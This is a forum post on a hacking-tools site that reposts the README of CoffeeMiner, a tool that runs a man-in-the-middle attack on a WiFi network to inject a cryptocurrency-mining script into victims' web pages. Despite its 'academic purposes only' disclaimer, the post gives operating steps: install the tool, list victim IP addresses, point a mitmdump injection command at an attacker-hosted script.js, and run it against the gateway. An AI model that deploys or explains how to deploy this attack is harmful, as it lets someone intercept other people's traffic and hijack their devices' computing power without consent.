# CoffeMiner | MITM WiFi To Inject Miner Script

**URL:** <https://onehack.st/t/coffeminer-mitm-wifi-to-inject-miner-script/203241>\
**Category:** Tools & Scripts\
**Tags:** tools, hacking, trading\
**Created:** [October 4, 2021, 1:53pm UTC](https://onehack.st/t/coffeminer-mitm-wifi-to-inject-miner-script/203241 "2021-10-04T13:53:11Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Prometheus](https://onehack.st/user_avatar/onehack.st/prometheus/32/34950_2.png) [@Prometheus](https://onehack.st/u/Prometheus)\
**Post date:** [October 4, 2021, 1:53pm UTC](https://onehack.st/t/coffeminer-mitm-wifi-to-inject-miner-script/203241/1 "2021-10-04T13:53:11Z")

</div>

Collaborative (mitm) cryptocurrency mining pool in wifi networks

**Warning: this project is for academic/research purposes only.**

A blog post about this project can be read here: [http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html](http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html)

[![coffeeMiner](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-logo-small.png "coffeeMiner")](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-logo-small.png)

## Concept

- Performs a MITM attack to all selected victims
- Injects a js script in all the HTML pages requested by the victims
- The js script injected contains a cryptocurrency miner
- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner

## Use

- install.sh

```auto
bash install.sh

```

- edit victims.txt with one IP per line
- edit coffeeMiner.py, line 28, with the coffeeMiner httpserver IP:

os.system(“~/.local/bin/mitmdump -s ‘injector.py [http://10.0.2.20:8000/script.js](http://10.0.2.20:8000/script.js)’ -T”)

- execute coffeeMiner.py

```auto
python3 coffeeMiner.py ipgateway

```

[![network](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-network-attack.png "network")](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-network-attack.png)

A complete instructions for academic scenario can be found in [https://github.com/arnaucode/coffeeMiner/blob/master/virtualbox\_scenario\_instructions.md](https://github.com/arnaucode/coffeeMiner/blob/master/virtualbox_scenario_instructions.md)

[![demo](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-demo-cutted.gif "demo")](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-demo-cutted.gif)

## GitHub:

> **[GitHub - arnaucube/coffeeMiner: collaborative (mitm) cryptocurrency mining pool in...](https://github.com/arnaucube/coffeeMiner)**
>
> collaborative (mitm) cryptocurrency mining pool in wifi networks
